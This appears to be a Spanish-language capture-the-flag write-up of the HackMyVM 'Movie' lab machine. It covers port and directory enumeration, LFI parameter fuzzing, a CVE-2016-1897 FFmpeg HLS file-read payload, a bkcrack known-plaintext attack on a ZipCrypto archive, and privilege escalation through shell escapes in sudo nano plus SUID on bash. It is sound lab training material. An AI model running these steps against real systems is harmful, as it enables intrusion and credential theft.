cd ~/blog

~/writeups/hmv/005-movie.md

005 - Movie

medium Linux hmvautor: Jordy Pérez Osorio aviso legal
Local File Inclusion (LFI)FFmpeg HLS Arbitrary File Read (CVE-2016-1897)ZipCrypto Known-Plaintext AttackSudo-Allowed Program Abuse through nano
hackmyvm.eu/machines/machine.php?vm=Movie

~2 min de lectura


Enumeración

Comenzamos con un escaneo general y específico de puertos con nmap:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.30
❯ nmap -sC -sV -p22,80 -oN 02-targeted.txt 192.168.1.30
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-22 15:05 -03
Nmap scan report for 192.168.1.30
Host is up (0.00039s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 e7:c1:40:66:c0:be:c8:86:dd:58:21:4a:03:76:78:12 (RSA)
|   256 86:9f:0d:8f:f1:e0:62:90:65:cf:79:ee:5e:e3:12:01 (ECDSA)
|_  256 2a:e0:ac:89:49:dd:e5:3a:8f:47:36:7a:2f:07:11:b8 (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: movie.hmv
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.66 seconds

Enumeración web

Enumeramos directorios con gobuster sobre la raíz y sobre /data:

❯ gobuster dir -u 192.168.1.30 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/home.html            (Status: 200) [Size: 552]
/index.php            (Status: 200) [Size: 552]
/data                 (Status: 200) [Size: 449]
/upload.php           (Status: 200) [Size: 0]
/dist                 (Status: 200) [Size: 1299]
/404.html             (Status: 200) [Size: 920]
...

❯ gobuster dir -u movie.hmv/data -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/index.php            (Status: 200) [Size: 449]
/login.php            (Status: 200) [Size: 449]
/logout.php           (Status: 200) [Size: 449]
/config.php           (Status: 200) [Size: 0]
/dist                 (Status: 200) [Size: 1311]
/404.html             (Status: 200) [Size: 920]
...

Complementamos con dirb, que además descubre el sitemap.xml:

❯ dirb http://192.168.1.30 -o dirb_results -R
...
==> DIRECTORY: http://192.168.1.30/data/
==> DIRECTORY: http://192.168.1.30/dist/
+ http://192.168.1.30/index.php (CODE:200|SIZE:552)
+ http://192.168.1.30/server-status (CODE:403|SIZE:277)
+ http://192.168.1.30/sitemap.xml (CODE:200|SIZE:762)
==> DIRECTORY: http://192.168.1.30/data/dist/
+ http://192.168.1.30/data/index.php (CODE:302|SIZE:0)
...

Dentro del sitemap.xml aparece el dominio movie.hmv, que agregamos a nuestro /etc/hosts.

Local File Inclusion (LFI) en index.php

Probamos LFI sobre los .php descubiertos fuzzeando el nombre del parámetro con ffuf y filtrando por el tamaño de la respuesta por defecto (-fs 552):

❯ ffuf -u "http://movie.hmv/index.php?FUZZ=/etc/passwd" -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/api/api-seen-in-wild.txt -fs 552
...
get_page                [Status: 200, Size: 1547, Words: 16, Lines: 29, Duration: 2ms]
...

El parámetro vulnerable es get_page.

FFmpeg HLS Arbitrary File Read

El sitio es un conversor de vídeos que internamente usa FFmpeg. La versión desplegada permite un Arbitrary File Read mediante FFmpeg HLS, asociado a CVE-2016-1897: una lista HLS embebida en un AVI hace que el proceso de conversión lea un recurso local y lo incorpore a la salida. Usamos el exploit de neex/ffmpeg-avi-m3u-xbin para generar un .avi que solicite config.php:

❯ python3 gen_xbin_avi.py file:///var/www/html/data/config.php config.avi

Subimos el archivo, descargamos la versión convertida y, al reproducirla, vemos en pantalla las credenciales de la base de datos. Probamos esas credenciales en el login descubierto durante la enumeración de directorios y obtenemos acceso, que nos entrega un ZIP cifrado.

ZipCrypto Known-Plaintext Attack con bkcrack

Con 7z listamos el contenido y atributos del archivo:

❯ 7z l -slt mydata_archive.zip

Descubrimos que el tipo de cifrado es ZipCrypto, vulnerable a un ataque de texto plano conocido. Descargamos bkcrack y listamos el contenido del ZIP:

❯ bkcrack -L mydata_archive.zip
bkcrack 1.6.1 - 2024-01-22
Archive: mydata_archive.zip
Index Encryption Compression CRC32    Uncompressed  Packed size Name
----- ---------- ----------- -------- ------------ ------------ ----------------
    0 ZipCrypto  Store       6f47b605          919          931 404.html
    1 ZipCrypto  Store       a7786ca6          552          564 home.html
    2 ZipCrypto  Store       00d78482         2602         2614 id_rsa
    3 ZipCrypto  Store       7e43bef8          143          155 index.php
    4 ZipCrypto  Store       da810eb6          762          774 sitemap.xml
    5 ZipCrypto  Store       ce6bb0d1         1881         1893 upload.php

El archivo contiene varios ficheros interesantes, entre ellos una id_rsa. Como sabemos con certeza que home.html comienza por <!DOCTYPE html>, lo usamos como texto plano conocido. Creamos el plano y lo comprimimos:

❯ echo '<!DOCTYPE html>' > plain
❯ zip plain.zip plain

Ejecutamos el ataque para recuperar las claves internas del cifrado:

❯ bkcrack -C mydata_archive.zip -c home.html -P plain.zip -p plain
bkcrack 1.6.1 - 2024-01-22
[19:54:11] Z reduction using 9 bytes of known plaintext
100.0 % (9 / 9)
[19:54:12] Attack on 725361 Z values at index 6
Keys: d706e724 da372a68 a79864b0
1.0 % (7474 / 725361)
Found a solution. Stopping.
You may resume the attack with the option: --continue-attack 7474
[19:54:24] Keys
d706e724 da372a68 a79864b0

Con las claves encontradas generamos un nuevo ZIP descifrado, asignándole la contraseña password:

❯ bkcrack -C mydata_archive.zip -k d706e724 da372a68 a79864b0 -U pwned.zip password
bkcrack 1.6.1 - 2024-01-22
[19:57:12] Writing unlocked archive pwned.zip with password "password"
100.0 % (6 / 6)
Wrote unlocked archive.

Dentro está la id_rsa que suponemos pertenece al usuario tarantino, y nos da acceso por SSH:

❯ ssh tarantino@192.168.1.12 -i id_rsa
...
tarantino@movie:~$

Obtenemos la primera flag.

Privilege Escalation mediante sudo nano

Revisamos sudo -l:

tarantino@movie:~$ sudo -l
Matching Defaults entries for tarantino on movie:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User tarantino may run the following commands on movie:
    (root) NOPASSWD: /usr/bin/nano /etc/passwd

Podemos ejecutar nano como root sobre /etc/passwd. Como el editor permite ejecutar comandos externos, la regla constituye Sudo-Allowed Program Abuse y ofrece más de un camino para obtener una shell privilegiada.

Camino 1: abrir un fichero con el buscador (Ctrl+R) y escapar a comando (Ctrl+X):

sudo -u root nano /etc/passwd
ctrl + r
ctrl + x
reset; sh 1>&0 2>&0

Camino 2: ejecutar un comando externo (Ctrl+T) para asignar SUID a bash:

sudo -u root nano /etc/passwd
ctrl + t
chmod u+s /bin/bash
tarantino@movie:~$ /bin/bash -p
bash-5.1# whoami
root

Obtenemos la segunda flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados